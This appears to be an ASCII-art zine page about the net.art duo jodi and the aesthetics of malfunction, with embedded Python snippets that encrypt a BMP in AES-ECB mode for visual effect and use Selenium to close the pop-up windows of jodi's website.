__ \ \/ ___// / / // \ / // __ / /____\ / \ -dmmmmmm+ /dmmmmmmmmms` `odmms`:mmmmmmmmms` | ....P...P.|
/ \ |\/ / \/ / \\// / /_/ / __/_ _/ / \ :dmmmmm: /hmmmmmmmmmdshdmh+ ymmmmmmmmdds+/::::/+oso /MMy | .0........|
\__/ ! \___/ |\______/_____// |\_____/\________/\________/| \ / .osssy. `ymmmddmmmmdhs/` .//-/:+shddddddhyyso/. dMMo mNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN | ..........|
! | | ! ! | ! | | | . \____/ ``` `/++.`-/:.`` ````````` mMMh. dMyoMMMMMMMMMMMMMMMMMhy++yhddosdmmmommNM | .........N|
. | ! . ! `-. -oyhdds ./oss: +hdds -+shhhyo:` +MMMm ysooooooooooooooooooooooooooooooosssssyd | ..........|
. -shdd/ -dmmmmmdo ydmmmd. ymmmd .+ydmyoymmmdho` sMMM s: View Edit Help :d <--------+ ^.b2/...EU|
:+shddmmmmdhyo/- `./ydmMMMMNho- :hmmmd/ ymmmmmmmd+ `dmmmmmh` ymmmm` .sdmmd/` `/yhyhy- oNM s:````````````````````````````````````:h "........C|
.+ymmyoo/:--:--//+sydNds/` `./ymMMMMNy:` -dmmmdsdmmmdhmmmd:-mmmmmmms ommmm. :hmmmh. ````` .mM s- .````````````````````````````````. -h |.....K._:>......|
.omNy+. .:omMh/ `/odMMMMms. -dmmmmmmmms-dmmmdhmmmhmmmd+ +mmmm:-dmmmm: visual .+dMh +- . . -y |......2..>D....K|
-hNh/` .omNo` `:dNMMMm:` :dmmmmmmms /dmmmmmmm-ymmmd:.dmmmosmmmmm. code `/dmmd/ /. . 1337 . .o |._..............|
`yNh. :hN+ `-ymMMNy. -hmmmmmms ommmmmmm.`smmmd-ommmdhmmmmms` analysis hNm+-` -. . . ./ |..8..\_..K._....|
/Nh- +Md. :NMMMd- -hmmmmmo `smmmmmm- `odmmh-hmmmyhmmmmdy:` `.:+/: M+. .. .````````````````````````````````. ./ |..........2..>D.|
oM+` -dm- -yMMMm+ .sdddd/ `sddddd: /hmmh/hhdy.ohdmmmdhsoooooyhddho: +Mo /. -`...`.-`.....-`...-....``-.`..``- .o |...K._..........|
+M: `yN. `+MMMM- `/::-` `.....` .ohdy-`-- .:osyyhhhhhyyso/-` +Mo s- +----+ +----+ +----+ +----+ +----. -h |.......YG..W.K._|
-Mo .mNds/` :shNNo-` .Nd .hMMMd. +Mo s- | <- | | CE | | C | | + | | J . -h |mp............2.|
dm` `+hhyhNMMMNo` +mMMMdsooyhs. oM/ .MMMMy +Mo s- +----+ +----+ +----+ +----+ +----. -h |.>D....K._Q.....|
.Ms /m/` ` .oMNMm. `dMNmh. `:- -d: -Nh `dMMMh `do +Mo s- +----+ +----+ +----+ +----+ +----. -h |........2..>D...|
/M/ N. `dMN+ +s/Nm yMo`m` NMMh -y `mM hMMMN- -my` +Mo s- | 7 | | 8 | | 0 | | / | | % . -h |.K._A ..........|
+M/ `d` ymd: /o `. ..`+N. /yy- /+ `hM mMMMm :No ./s/ +MMMMMMo +Mo .MMM/ s- +----+ +----+ +----+ +----+ +----. -h |..2..>D....K._n.|
-Ms -s. /shms. .+ym+.o+` .+o .Nm `NMMMd /N+./oydho:` +MMMMMMo /MMM: s- +----+ +----+ +----+ +----+ +----. -h |..............H.|
Ndoo++omdysshd.``-yNmo///hs: .NNmhhmdso++oddMs -MMMMs `.:+sMNhyo/. :shhhy/` .MMM. s- | 4 | | 5 | | 6 | | * | | 1/x. -h |.....K._.h......|
oMNy. :Ms//+ossyyyyyy- :h/:+hysssyys+dM- yMMMN- `/ohdhyohM/` oN/```-ym: +MMMMMMMo -MMMs s- +----+ +----+ +----+ +----+ +----. -h |......2..>D....K|
om` +My:. `-/sMy yy /NMMh` +o:.` :N+ sN` sN` +MMMMMMMo +MMMMMMMo `mMMm` s- +----+ +----+ +----+ +----+.`````. -h |._.{............|
ms dMMMMMNdhhyssossyyhdmMMMMMMM` om `+MMMd` -No .M+ `dh +MMMMMMMo +MMMMMMMo sMMMs s- | 1 | | 2 | | 3 | | - || . -h |2..>D....K._9...|
:m- oNdMMMMMMMMMMMMMMMMMMMMMMMmoNd. :N+ ``:yNMNy- .my `/shhho ym ` +MMMMMMMo `MMMN+ s- +----+ +----+ +----+ +----+| . -h |............8..\|
:hyo+oymd. -yNMMMMMMMMMMMMMMMMMMd/ .yMdsosyy- -ydNNdms:` `dh` .my-``` :M- .://-` +Mo :MMMMh. s- +-----------+ +----+ +----+| = . -h |_..K._..........|
-odMm. `:ohNMMMMMMMMMMdy/` .mNy:. /sMMh+. ym. ym .M+ /dho++smo` +MMMMMMMo sMMMMy. s- | 0 | | , | | + || . -h |....2..>D....K._|
.ody/. `-:://:-` .odd/` +MMMy. ` `` dd `M+ `ym-` .mh +MMMMMMMo `+NMMm- s- | | |. | | || . -h |..............2.|
:smho/. `.+ymd+. yMMh. -` s sN +M. oN. +M. +MMMMMMMo /NMMd s- ````````````` `````` ````````````` -h |.>D....K._K.....|
./odmdhyysyysshdmdy+:` .--yMNh :o -` -M/ :No hm .dh :+` +Mo .odMh` ysoooooooooooooooooooooooooooooooooooosd |........2..>D...|
``-:////:.` -osdNNNs/. .+` -m . ` +Mo sN- .sm+ /y. oN` `+ms./dy/` `+dd |.K._.P..........|
`NMM+,,. `/dNmo:.`. `` +y-yN.:do ./ +Mo odyhho. oN: .No `+-:dh: +MMMo `- sNMMMMMm. |..2..>D....K._.m|
-MMMMMN .dmMN+. -dy/yNMM+mM:yh` +Mo `..` `No yN `ym/` +MMMo `/` All bytes +MMydm/ |............2..>|
oMMMMM/ :mMMm- :- /yNNMMMMMMNy. +: .. :M: /M- /my. .yyo- +MMMMMMMMMMMo /ho. are created mM+`` |D....K._Y.......|
`dMMMMd hMMM+ +sydhmMMMMMMMMdo/ ` -. .M+ /M- .yMNhyy/ ./sdy. +MMMMMMMMMMMo :dms:` equal hMNdsooo/--:- |......2..>D....K|
yMMMMs .mMMo `./omMMMMNmMMy. +MMo oN/ .mh`+mh/.``/M: -hh:`sm: +MMMMMMMMMMMo `-+hdo. -mMMMMMMMNNMNdyo- ./............|
hMMMMs hMMN` ++omdyyMMMMm:/yh` . +MMo +Mo :hhsoyho/dh:` `ym. -hNm/. hm +MMMMMMMMMMMo `.:- .yNMMMMMMMMMMMMNh-` D....K._....|
sMMMMo .MMMN. ::::``yyyMyoh. `:- - `.-:-:hd/` :dh.-yd+hMyyysdh +MMMMMMMMMMMo -hdy:` .+dNNmMMMMMMMMMNm- .....2..>D.|
-MMMMm` `NMMm` .:``mo .. +Mo oms` :hh/-sdo` -M/`.--` /d+ odMNdy/` `...-/ymMMMMMMMm+` _.G.......|
`sNMMMh. `NMMN: .. /: -- +: `/hh/-sdo. .M+ `ommh` +Mo `+hMMMdo:. `odNMMMMMMh: _i.....|
:NMMMmo `NMMMy .- `` +MMMMMMMMMo .ody-.ods. oN. `+dy-.dy. smMMMMmy. `-dMMMMMMd` ...YG..W|
.NMMMMMy. oMMMNo /-hys/-` +MMMMMMMMMo .sdo-.+dy- -N+ .omy- `ohy/- +MMMMMMMMMo . `+hMMMMd+` -hMMMMMMh` ......|
hMM/yNMMmo` .dMMMNs` .-/+dNNm+. +MMo ./.`smy- -ms`-sdyNo` `:oms. +MMMMMMMMMo :hMMMMd/ `yMMMMMMo |..|
`MMN- .+hMMd/. `/mMMMhs+s/:` -sNMm+` `s: :ms/yh+. -hd- -sNM. `/NMMMMo. `hMMMMMd U..|
NMMd` `/smNNh. -hNMMMMMNNmyho+` /MMM+ +MMMo +Nhhh/` `+m/ -ydooM. +Mo the net.artists .yMMMMm` .mMMMMM- .|
.MMMMs` `-:+: `:smNm/-:dMMMMmy: /MMm. +MMMMMMMMMMMo +MMMo oMNh:` -:/hh/` -M: +MMMo at the end of the nineties oNMMMh` sMMMMM- U
sMMMMd. `- .o::oNMMo .NMM: +MMMMMMMMMMMo /MM+ .+hy:` .M/ +MMMo not only investigated the code +MMMMh `MMMMM: .
:NMMMMh` -hMN- .MMM+ +MMMMMMMMMMMo :ohd` -sds- /M- `oo of the Word Wide Web that was `yMMMM+ .MMMMM/
.mMMMMN: :mM: .NMM+ +MMMMMMMMMMMo +MMMMMMMo .ms ``:yd+. .my`+dMy +Mo just emerging, but above all asked -MMMMd` mMMMM/ o
/NMMMMMo .h- .NMM+ `/ +MMMMMMMMMMMo +MMMMMMMo +d `dmd:` -ddody-Ns themselves how we perceive the surfaces `mMMMm NMMMN-
.oMMMMMh. dMM/ .M. +MMMMMMMo ` /sdd. `-sNNds- mh of the web pages. The artistic material .mMMMd` -MMMMh
yMMMMMNs. `dMN. yMd- `sds/:/+ohNMd+. sN` was the code and the behavior of the oMMMM/ `MMMM-
/dMMMMMNh- .MM: +MMm` +Mo .:++osmmy:` :M: ./. Internet itself, with all its .NMMMy +MMMN:
`hMMMMMMds. sM: `mMMd- ::ohh+. .ym../yNy. possibilities. .. :mMMMo `mMMM:
`-ymMMMMMmdss+////. ` .oNMMms:-`:o+odhhyhhy+/` +MMMo `mmNy. ``-+yds+yhs:hd- .`/ .yNMMd: -hMMMo
\ '''''''''+MMMMMmmo. .+hmdNMdyys//:-:/:+hNNy/ +MMMo . -shysoosyhysshds:` om+ /- `o-`` .s /dMMm+` .dMMMy
\ <---------------------------[1] +oyhMMMMMMNy- `.` `:yMo +MMMMMMMo .-:--:+ydyNo` :No :- ` `+dMMdo` :NMMM+`
\ -NMMMMMMN. hd` +MMMMMMMo `-ohho- -dh. -. `/sh:+-:` . .smNMms-` /NMMN+
___\_________________ oMMMMMMMh/` -d- . +MMMMMMMo .+shy/. `sm- `:yy. .+mMMMMs`-- ./dNMds/` -yMMMN:
~ : | /NMMMMMMMd+:-``. ` :y :mNd:` -` `-sdyomd -MMMMMm- `+mNMNs:` -oNMMMh.
: | -smMMMMMMMMNmmNdhsoso//-` . :oym. `-/ydy/` .+hh/` `Ns `: `oddMy. `+dMmh/. `:oyNMMMN:`
: | :ymNMMMMMMMMMMMMMMMMMNNmyo+- -ohdMMmssyh: -sdy- -yNMo `hm` :_________._______:- . ______
: | `.-/oyyyhyddmMMMMMMMMMMMMNms/ hMMMMMN+o. `+h``/hd/:Mmo+sdy` -+/\| \:/ |/\_____ ...|\| \_______ ..______..
: | ``./oyNMMMMMMMMMMMMs. .yNmMMMm+-` +Mo `+dh: /M::/:` / |/ : |____|. \''''''|/|| \
: | ./dMMMMMMMMMMMNs: -s:.mNm+-/` .+my- oM` / /_____/ |/ | / |_ // | \
: | `-hNMMMMMMMMMMN/ dy.` /ms. ym / _/_____ | |_ / + / //__ __/_| |_ +
: | `-yMMMMMMMMMMN. .. ` ym / /_| __/| /| ____/ | |\ /
: | Is Jodi functioning normally? .oNMMMMMMMMMm: +MMo sN \ / + \ | ____/ : \ | | \ ._/
: | .smMMMMMMMMs` /M- \______|/ |\ \| ' ' | / \ \_________/
: | So what can the errors that are flushed .mMMMMMMMMo +Mo dd -========:|_______| \\_______________/|____:====:____:=============-
: | to the surface reveal about the inner +MMMMMMMMh .Ny-/ ,,, ,,,
___________________: | states of the system? What mechanisms +MMMMMMMm` .hmy :Mo :Mh
____________________\| and algorithms reveal themselves when `hMMMMMMm` .+y` .. :MMd -o` +M+ import sys
|:| / something as unexpected and undefined -NMMMMMN` hMNy --.` .-` :MMm` oM: from Crypto.Cipher import AES
|:| / as nothing is to be processed? Hacking -MMMMMM+ mMMN` `-----. `---` `NMN- ` hMo BS = 16
_________|:| / would deal with these questions. `yMMMMMy sMMh `----. `.. ````` ``` `---` +MMm` /y sMh` pad=lambda s:s+(BS-len(s)%BS)*chr(BS-len(s)%BS).encode()
_________\:| / Art, on the other hand, asks another: `yMMMMNs` oMMd `.--.` `-.` .------.` `-------...`` `---` `sMMy mh .mM: class AESCipher:
___________| / What does it do to us as viewers -mMMMMN- :MMMs .-.`` `..` `..```.----..--------------..`` .--- `yMMs` hm. :Mm. def __init__( self, key ):
\ / when a system confronts us with errors? -mMMMMm: sMMMM` ` `..-. ..-` `.----...---------------..-. oMMd` +My` +No self.key = key
_____________\_/ .mMMMMN+. `dMMM/ `..---. `.--. .---` `----....--------- /MMd. .NMy +M+ def encrypt( self, raw ):
_______________| A `.ymMMMMNo. :MMM- .-...--- `----. .--. ----- ``.------.. .dMm/ -NNo /y` raw = pad(raw)
\ | `:/hhNMMMMmo:` yMMh `..` .---. .----. `--- .----` `.------ oMNy :mMNh- ` cipher = AES.new( self.key, AES.MODE_ECB)
\ | .-+yNNMMMMNmsy-` :NMMo `` ----.------` --. `----. .----. sNMh. .sNMNo return cipher.encrypt( raw )
\ | `:+ymNMMMmMNo+-.` -mMMm. ` `-------.---.` .-. -----` .----. .dMm` .sMMy. nerv = AESCipher("Holy Trinity1234")
________ \ +--------------------------------------------------------------- `.` .------..---` --` .----. .----. :MMy +NMm: data = bytearray(open(sys.argv[1], 'rb').read())
\___ \ .,,, .,,,,,,,,,,,,,. `sMMMM+ `--` .------``.` `-. `----- `-.---` the aesthetics +MM/ :dMMs head = data[:54]
\__ ____\ hd/` .-odMMMMMMMNmNd. `yMMMNo ---. .-----.` ..` .----```...``---` of technical .MMy `hMM+ body = data[54:]
\ ___| `` -+dmNMMMMMMMmhs+` `/hMMMh. ----. `--.----.` `.. `--------. `---` malfunction `dMs .yMN- crypt = nerv.encrypt(bytes(body))
\ \__ \ :hNMMMMMMMNys/` `.hNMMMm/` .----...`.-` `.----......` -----..` `---` .NN. /MMo open("output.ecb.bmp", 'wb').write(head + crypt)
\/ \ \ `+hNMMMMMMNdo. .-::::..` ````./+omNMMNh/. `.------.` `.......` ....`` `--.` .dd/ `mMN
______ \ \ +mMMMMMMMN+.` `--:yddNddmmmmNMMMMmdo.` ``..`` ..... . :o` `NMd .____ _______: . _. :
______\__ \ \ /MMMMMMMMo. `-:/osmNhhdhhddso:.` An overview of `...---. `` `.. +MM/ /\|''''\ | |/\\________/ |/|
=========\ ___ __\ \. oMMMMMMMh: .-sddmNMMMMMMd+. `` all their works `.`` `.---. `. `.--` `---` .hMN: / \| \. \_.
||||]]]]]|====|___||___ <------[4] /NMMMMMMs` `/hmNMmmdho++//+o+` with the Rightbrowser ...` `----. .- -. .-`----` .---. .dMm: / \\ |_. /___. .______|
=o=o=o=o=| <-------------------[5] oNMMMMMN/ `:sdMmso:..`` Source code feature .---..` -----.` .- -` .-`----. `-`---` -mMd. / .__ \| / | |
_______/ \ `. mMMMMMm- `+hmdy/. Discover hidden ascii treasures `...----.```---`.--` .- -` .-`-..--. -` `--. :MMo / \_\ | ___/_ | |
*| ___| : -NMMMMN: odms-` `-` ``..-------` .--.` .-`-` .-`-.`---. .. ---` hMo / ___ ! \_ | | _.
*| _________________/ | `. hMMMMN/ `sNo.` .-. ``..`.-` `.--` `-`-` --`-. `---.`-` .--. hMd / / \ \\ \\_| |_/ |
*| / ___ ___________ | : mMMMN- oy/:sh: .--` ` `-. .--..---. ..--` `----. ---` I hesitated sMs -==:|____/=====\___\|___|=\___\___________|:==-
*//_/ \ / \__| : +NMMM/ `-dNm: `---.````.. `-. `.---`--.` .....``-` `--.` .---` for a moment, sN-
**::****:|:********\ <---------[6] oMMMMM- -ddo. ``...-+o:++o+/o//--/-.` ` `` `.-----.` `.` `-. .------.´ `.` `. .--. but thought, `mN. F*CK THIS NFT SH*T! ENCRYPT ALL THE ART
::::::..;|'`|||||||*|||||:\ `. .hMMMMMm` /my. ```::++ysyddmNmmmNddddmyyhdmhydhho+:-.` oshdho+-: ` ```` "Well, it's art `+My
__~~~|~;:::. `|||||*|| <-------[7] .mMMMMMm: .Ns` ..+ymddNmddysso::/-``` ` .``.-:/ .:/+ydddhdmNNMMmho-` _ ___ __ _ What's going `sMM/`
::::::.. /`::. `|||*|||||:| : `dMMMMMh. yh `./hNmmho/-.` ..//++... _|_ / /\ | | |\ | | |_ |_| to happen? -hNdmMh.
~~``:::. `::. `|\***\|:| : oMMMMMN. `` :hNNNh+. these windows also start | \_ \/ |_| | \| | |__ |'\ This probably -sNN: .yNd/`
9] | /``::: /::. `|||*|:| : dMMMMMNo :hNNy:` jumping around on the monitor. #!/usr/bin/python3 ____________ ____________ ___________ shows colorful `:mMs- -NMmy:
_____|/ `::: `::. `|* <-----[6] /MMMMMMo -hMMm. The situation seems to get from time import sleep / /\/ ____/\/ ____/\ html-ascii stuff" :hMN/ -MhdMMh`
. . [9] /::: `::. *|:/ .' .dMMMMMMM//MMMh. out of control and any users from selenium import webdriver / ___ / _\____ \ \_\____ \\ \ and clicked /dMmo. -hNo` `NM:
. / `::.`::: *:/ : `mMMMMMMNMMNs` normal reaction will be driver = webdriver.Firefox() / / / /\/ /\\/\ on allow. -hMd/` +Nd- /sMm`
. [10] /____`::.`::.*| : sMMMMMMmMs. to catch these "malicious" driver.get("http://oss.jodi.org") /___________/ /___________/ /___________/ \\/\ oMMs` -dNo``:dMMMNh/. ``
. . | :::~:::*| : :NMMMMMMMm windows with the mouse while True: \COUNTERCOUN\ \TERCOUNTERC\ \OUNTERCOUNT\ /\\/ :dMd- `omh- +NMMh+mMMMNdhNNyo--.
:.. . . | [9] :: :::*| : `yMMMMMM/.- cursor to eliminate them. sleep(5) \COUNTERCOUN\/\TERCOUNTERC\/\OUNTERCOUNT\/ /\ .dMNo .yms-`ymMMMmdNMMMMMMMMMMMMMMNho+.
:\_____________________________[11] .MMMMMMmmd \COUNTERCOUN\/\TERCOUNTERC\/\OUNTERCOUNT\/ / `oNms` :yms.`oNMNshMMMMMMMMMMMMMMMMMMMMMMNd++.
. . |____ ::: ::'/ .' hMMMMMMMd: - jodi = driver.window_handles \___________\/\___________\/\___________\/ .ohm/.o- oNm: /dMMh./mMMMMMMMmdMMMMMMMMMMMMMMMMMNdo.
[10] . \ .::'~::/ : .dMMMMMMM+ sm+` .yNmo`.dM- :dm/`.sNMm/:mMMMMMMMMMMmyhmmds/sdmMo`sNMNMMMNmo-
. . \ .::' .:/ .' .hMMMMMMN. /dm+` `s` if(len(jodi) > 1): print(" [!!!] jodi detected!") `+Ndo` /mMo :hhs-:omMd/`hNMMMMNMNoyN+:o:``` ``:. .oysNMMNMNh+.
_____ [9] \:::' .:/ : `dMMMMMMd. +` `oNmo` oh- while(len(jodi) > 1): :yMd. -NN/-yd+`:dNMh:`-oMMMMMMy:hy :. ` .ymoNMMMNh:
|\ .:::' .::/ .' .NMMMMMM/ `/` sms- `- .oNd: +my. driver.switch_to.window(jodi[len(jodi)-1]) .smo-` :mNhmd+`/dNNh-` `dMMMMMMNy . ``:yyyMMNy.`
9] | \.:::' \:/~~ : /NMMMMMy `hy:``:dNh: os: :mNh:` .sds` driver.close() `:hd. .hNMMNs.-yNMm/` -MMMMMm/.. ``sMMMNmo-
...::::' .::/=========:' dMMMMM+ .sd/.`:yNd:` `-dd+` .sNNm/` -sd+` print(" [+] stop: "+str(jodi[len(jodi)-1])) `smMd. /ymMMmso/ymmho` /mMMMMm. `//:mMMN+`
:::::''' \.::/~ :' `mMMMMM: `+hms-`-oNh/` `+dms:` ./dMh+.` -md/` jodi = driver.window_handles oMMMMdy:/dmNo-oNMms.` +MMMMN: -dmMMs
~~ |/~~~~~~ .' .mMMMMN- /hNd+.-sNmy/-.+hMds/..yNMNdo:` .odd+` sleep(1) ./yNMNohNMMmhhhsmNd+. yMMMMN` -- ``/mNy.
..:::/ .' .NMMMMM- ++` `-hNm:-:yMMNdoyMMMMNhomMMMMMms/-`` `sNms: ``:yhmMmh/- .:ymMMMMMo` :dMMMd` ./+` -o/. .hMm.
~~~~~ .' `dMMMMMo .sys/:` `-+mNmyyMMMMMMMMMMMMMMMMMMMMMNmdso+mMMMh+. -/-/yhddhdmNMNh/. `/sdMM/ +mMMd- +/:ys--` `yNo.
.' :NMMMMN. `+dNms+:.` ./sdNMMMmms+sdmmhsmMMMdosNMMMMMMMMMMMMNhy/.` .mMMMMmhyyhdo:.` .NM/ +NMM+ `sNMy.`- hMh
.:' /NMMMMm: -+ydNmdyo--:::+NMMm.` ```oMMNo` sMMNs+ohmhhyhdmdNNdso.` `.sMMNm+` .hNy -mMMy `.` -. oMmmoNs` .yN-
.::' -hNMMMNh ` -+hNNMMMMMMMMNo `:yMNy- .dMM/ ` -ohNMNdho+///`` `..-oysdNMms/. /Nm- /dNN/ .hd:oNhoyNo+NMMy .Nd
..::' -mMMMM. .osoy+s+::/oNMMMMMMN. .hNMd/ `.dMMs -+hmNMMMMMmdhhdmNNNmmhs/` .mM/ -dm` /NNNNMMMMN:hMymo sN-
..:::' :NMMMo `.:+hdNNMMMMMMMMMm` `omMds` `sNMMM- `.dMMMNosdNMMN+:`` yMd `++yNds-` HACKING ART o/N/ +M+
..::::::' +NMMN. .-++oshhhMM: /dMNy. .hNdMMN .` :NMMMm- /MMm` sMm. :dNNNMMMNh+/` /NM IS A MMMMh y/ :My
::::::____:' <-----------------[12] NMMMy .NMd `+MMm: .smm-.MMd +hmd/ `mMMMMM/ `NMM- mMd. .NMy-yMMymNMMmo- ``.yoyysh LOT MMMMMm.-` .Ny
___::::''' +MMMM/ .mMM/ /hMMd. /NN+.-yMMy `yMMMMy /MMMMMMy +MMy -mMN- .o+ :NMMh+sMMMMM: hmoh LIKE MMMMMMMMMM: -N+
~~~ +MMMM/ oMMy.oMMNs` .oMm/ /NMMMN- yMMMMMm -NMMMMMN /MMM- .mMh. -ssmMMmNMMMMN+ /mM ASTRAL MyNMMMMM: /NM/
`mMMMs /MMhmMMm- /mNs``oMm/mMN` .NMMN/dM/ -y.oMMMMMMm .NMM+ :dMMh` oo``/MMMMMo .NMhy PROJECTION Mh sMN/
yNMMd+. :MMMMMh` .+Mm: -mMd. +MM. :MMo-.NMM/ sM/.MMMMMd` .mMMd: `oNMN. mMMMM/` `ommshNh/y+o` . +: :Mo
-mMMMNo` /MMMm- -NMy.`oNN+` :NMM- `dMm`odMMMh `dM-/MMMm/` -NMN+` +mMN+` `sMMMMm /md/yy y-++ +- `my
.odNMMd: oMMm` `dMm:`:mNo `+MMMN`.hMMmmMh/MMm. yMy:mMMd- `sNMMM+` /NMN+ .yMMMMMds :h. `- os-NyN`/mMs
:mMMMh. /mMMM: `+md/`/mMy. .mNsNMNsNMMMMd:-dMM` oMMyMMm/` :mMMMMMMMd+` `hMM/ `mMMMMMMMMy `. /` h`/moMh+ hMMo
/MMMd:` .:hmNMMmdMNsNMh``sMMo `oNh`-NMMMMMMMh `oMMh :NMMMMm. :NMMMMMMMMMMNso- +MMh. /MMMMMMMMMy ss /h.m. `N+oNs. sMMm`
/MMMMNmds+:oosdmMMNds+- -MMMms`+NMh. -dms`-mMd+smMNo`/NMMM:`oMMMMN/. -yMMMMMMMMMMMMMMMd -sMMy:` `mMMMMMMdds:`` `/`/NshN+.`dmN+ .smMms
dMMM+/yhmdmdNho++: mMM`-hMMy` .yNd. sNNo -dMd.`yMMMMh:hMMMMm. `:NMMMMMMMMMMMMMMMM+ .hNMh. /MMMMMMMMNmhy` :hNddNsMssdd/ yMNo`
-NMM- `````` +MMmNMd/ +NNy.:hMm. +NMy`-yMMMMyoNMMMNy. +NMMMMMMMMMMMMMMMMMN- .smNh:- ` sMMMMMMMMo:.- .` `:.-dd+NMdm.` `sMMN.
:mM/` `mMMMMs` -yMh-`+mNs`/hMh:+yNy/NMMNMMMMh- `yMMMMMMMMMNMMMMMMMMN: `:+hNmmdo- /MMMMMMMMMNNmdy. -+`/o-:` -mmMMd:
+MNy :oMMMMh `+NMd``oMd- :Mm/.sMN+`oMMMNMMd:` +dMMMMMMdMMddMdMMMMMN/ `-:odNm+mMMMMMMMMMNNsso- /NMMd+.
oMMy` -/+dNMdymMNohMd:`/dm/``sNo`:dMy--hMd/:hMs` `sMMMMMMmsdMMMMMMMMMMN/ `:yMMMMMMMMMMMm+/:o- `` `+/oNMms`
+MMmyyysooshymNMMNy/` .mMMMh`.oNy- /dN+./mMo`+mNo.-sdo /hMMMMMNohNMMMMMMMmMMd: `yNMMMMMMMMMNdhhss` yd`hMMNho.
-dMMMMMNmNmmddms:.. oMMN-/mN/``oNo-.hMy:`yNd- +Ny` `sNMMMMMNdmNNMMMMMmomMN- `.yMMMMMMMMMMMMddo` .mMdMms:`
`oNMd+mMN:...```` `sNMmMm:.ymNo`/mNs /dN/./hdo` `yMMMMMMMmNMMMMMMd+.hMm/ :sNMMMMMMMMMMMd` `-`:/+hmMNy:.
`/dMMy` dMm. hMMM/:dNh:`hNmo.oNy-.hMy` `+dMMMMMMMMMMMMMMMy``yMM- .+mMMMMMMMMMNo/-.yNdNMMmy+.`
-yMMd-` .NMy `oNMNNM+`+dNs.ymN+`:dmy` `yMMMMMMmNMMMMMMMm/``yMN+ -/+- -hmNNMMMMMMMMNmMMNNmy.
-oNMNy. `hMh` -mMM+-yNs--dNd/`yNh. -shMMMMMMMNMMMMMMMh:-:yMM: .yNNNNh/. `.-.-+:/odddhyo/--.
+mMMm- .hMMM/ sMMmNm:.yNMo`.dms /NMMMMMMNMMMMMNNMMy+NMMMMs `-dMm/-+yMNy+. ``
:MMMMm+. .dMmNMd` sMMd-/hMN:.yd+. .yNMMMMMMymMMMMNMMmyyNMMMMN` .hMMh. :ymNmo.
-MMMMMMNysdhoomMMo :MM+oNN+-.hd: -mMMMMMNNmmMMMMMMMhdMMMMMMm/ .dMN+` `-oNmy.
` oMMMNMMMMN..NMMMm: `` .MMNMN+`+ho` `+NMMMMMmodmhMdNMMdydMMMMMMN- :mMy. .oNNh:`
/y. .NMMomMMMN. yMNhMh` .md- .mMNo-:dy- -dMMMMMNhsmmmNMmMMhyNMMMMMMN/ `yMN/` ./dNds-
`Nm. `NMM+.dMMN- -NMsMMd` . s: -NM/ `NMd`oNs` `smMMMMMNmhNdmMNMNdodMNdMMMMd/ -mMd: :smNy:`
`yN/ oMMh /MMMs hMMMMM- +N- .MN` mM+ oMMNmN+ -dMmmMMNhhMMmmNMMN:omMhdMMMMy` .+hNNo` `/hNmh-`
yMs-` -NMd `mMMd` :MMMMMo yM: .dN` .MMs:mMMNy. `smMMMMMN+yMMMMdNMs/+NMMMMMMMm. `-sNMNy. ./o+s. .omNdo-
+s `mm/+- dMN` :MMM+ mMMMMh mM/ .Mm hMMMMMMd: `:dMMMMMMhdNMMNyMMN+-dMMMMMNs/ymmoshmMMMd. .NMMMMm/. -sNMy-`
/MM+ -dmo. yMM/ .NMMo yMMMMd :MM+ `dMN`:MMMMMNy -dMMMMMMNsNMMMMhMMy:sNdNMMMm: `hMMMNMMMs` /mMdsNMMMMy- ./yNh/
-NMM/ -mmdo. -NMh :MMN` :MMMMm`-mMd.`dMN:.NMMMMd- .oMMMMMMMmdNMMdmMMMs-dmMdMMMh. +omNmooNMd/ -hMNyoNMMMMMMMs/. .odho-
.mMMM/ :mMh:-` .mMM. .mMM+ hMMMh +MM- sMMo/mMMMN:` .NMMMMMMMhNMMMsdMMh-yNm/MMMm:`:dMMs..yNMy` :mMd:+MMMMMMMMMMMNh. /mMd:`
`mMMMM- yMMmo/` hMM: oMMm :MMM/ yMN./NMMMMMMMo. `+mMMMMMMymMMMdoNMMo-hMMmMMMm.:dMms. :mMNo .dMm+:hMMMMMNdNNMMMNMNdo` +hNNy+.
sMMMMs /MMMhy. +MMo -MMM+ sMM++MMMhMMMmdMMm: .dMMMMMMNmNMMNyhMNhoyNMMMMMMhsyMms` +NMs` -mMo +MMMMMMMMMy :mMMMMMNmy:` /dMmo.
.NMMMMy yMMMm: .NMN. hMMy /MMMMMMMMMh/omMy `yNMMMMMN+dMMMNodMd-+NMNMMMMmyMMd+` -yMd- .dMM::yMMMMmsNMMMh .+mMMNMNNN. `-sMMd:
hMMMMMy hMMMNy` hMMN- .MMm` `NMm+/dMm:.hMd/ +mMMMMNMh/dMMMMMMN+:mMMMMMMMMMMN+ /NMd` sMmy-:mMMMMm.+MMMM+ `/yNMMMddho: `+dNmy.
.NMMMMM+ `hMMMd+ `yMMMMs mMM/ sMN.sMd--dMs` `sMMMMMMMshMMMMMMMh/oNMNMMMMMMMNy. .oMNs` `hMy``sMMMMMs/s/dMMM+ `NMMMMhsdy: `+mNd+.
.NMMMMMy -dMMMy- /mMMMMMd` .NMy :MMNms:hMm/ .ymMMMMMMMMMMMMMMMN/:mMMMMMMMMMNo. -NNy. sNMy`.yMMMMy:sm-`NMMMo +dyNmMMmddmmo- `:sdNh:
-MMMMMMy dMMMmo `+MMMMMMMN- .NMM: mMN-oNh+. -NMMMMMMNmMMMMMMMMd/:NMMMMMMMMMh- .oNh: .yMh+`sNMMMy: .dMMMMMMydd+` `-hNh/`
-MMMMMMm` -dMm/-- -dMMMMMMMMM/ yMMd /MMhN/ `hNMMMMMMhNNMMMMMMmo-sNhmMMMMMMd+ :mN+ /NNo``yMNdNo` -dmmMMNmMNdho` `.yMNh+.
`NMMMMMM/ yMMyo- .NMMMMMMMMMMd` :NMM- oNh: `oNMMMMMMddNMMMhNMMh::mMmmMMMMMMh. :sNm/ `sNd-./dMMMy. `` ` :/`-hNMMMMMMMmy:` -sdMmo-`
dMMMMMMm `sy`-oy` sMNNMMMMMMMMM- oMMy .` :yMMMMMMdydNMMdymMNs+NNhMMMMMMMms` `sMNs` `:hdy`/mMMhmo` :msNmNMMMMMNdo-` `/yNNmy-
sMMMMMMM: ``+d+. :NMy.-oddMMMMMy .NMM- oNMMMMMMdoNMMMhdMNs/dMMmmMMMMMMh. :hMh- `sNo`.sNMMMd- `oy+ho`.:sNMMMMMNd/` ./hMNh+-
